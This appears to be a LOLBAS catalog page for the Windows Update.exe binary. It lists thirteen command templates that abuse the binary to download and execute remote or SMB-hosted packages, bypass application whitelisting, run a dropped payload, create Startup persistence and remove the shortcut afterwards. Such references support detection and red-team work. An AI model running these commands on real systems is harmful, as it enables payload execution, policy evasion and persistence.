DΛΣMӨП

Catalog LOLBAS

LOL · OtherMSBinary

Update.exe

13 techniques WindowsLOLBAS GPL-3.0

Download

File Download Windows

The above binary will go to url and look for RELEASES file and download the nuget package.

Use Download binary

Update.exe --download {REMOTEURL}
Context
user
Native
Download
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --update={REMOTEURL}
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --update={REMOTEURL}
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --update={PATH_SMB:folder}
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --update={PATH_SMB:folder}
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --updateRollback={REMOTEURL}
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package.

Use Download and execute binary

Update.exe --updateRollback={REMOTEURL}
Context
user
Native
Execute
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use Application Whitelisting Bypass

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Context
user
Native
AWL Bypass
MITRE
T1218

AWL Bypass

AWL / Policy Bypass Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --updateRollback={PATH_SMB:folder}
Context
user
Native
AWL Bypass
MITRE
T1218

Execute

Execution Windows

The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.

Use Download and execute binary

Update.exe --updateRollback={PATH_SMB:folder}
Context
user
Native
Execute
MITRE
T1218

Execute

Execution Windows

Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.

Use Execute binary

Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}"
Context
user
Native
Execute
MITRE
T1218

Execute

Execution Windows

Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it.

Use Execute binary

Update.exe --createShortcut={PATH:.exe} -l=Startup
Context
user
Native
Execute
MITRE
T1547

Execute

Execution Windows

Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page.

Use Execute binary

Update.exe --removeShortcut={PATH:.exe}-l=Startup
Context
user
Native
Execute
MITRE
T1070